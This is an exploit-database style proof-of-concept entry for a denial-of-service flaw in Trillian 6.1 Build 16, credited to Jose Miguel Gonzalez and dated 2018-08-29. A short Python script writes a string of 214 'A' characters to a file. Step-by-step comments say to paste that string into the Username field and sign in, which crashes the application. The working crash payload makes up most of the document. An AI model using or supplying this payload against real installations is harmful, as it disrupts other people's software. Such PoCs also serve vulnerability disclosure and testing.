#Exploit Title: Trillian 6.1 Build 16 - "Sign In" Denial of service (PoC) #Discovery by: Jose Miguel Gonzalez #Discovery Date; 2018-08-29 #Vendor Homepage: https://www.trillian.im/ #Software Link: https://www.trillian.im/download/ #Tested Version: 6.1 Build 16 #Tested on OS: Windows 10 Single Language x64 #Steps to produce the crash #1.- Run the python code: trillian.py #2.- Open trillian.txt and copy context to clipboard #3.- Open Trillian application #4.- Paste clipboard on "Username" #5.- Put "1234" on "Password" #5.- Sign In #6.- Crashed mem = "\x41" * 214 f = open ("trillian.txt", "w") f.write(mem) f.close()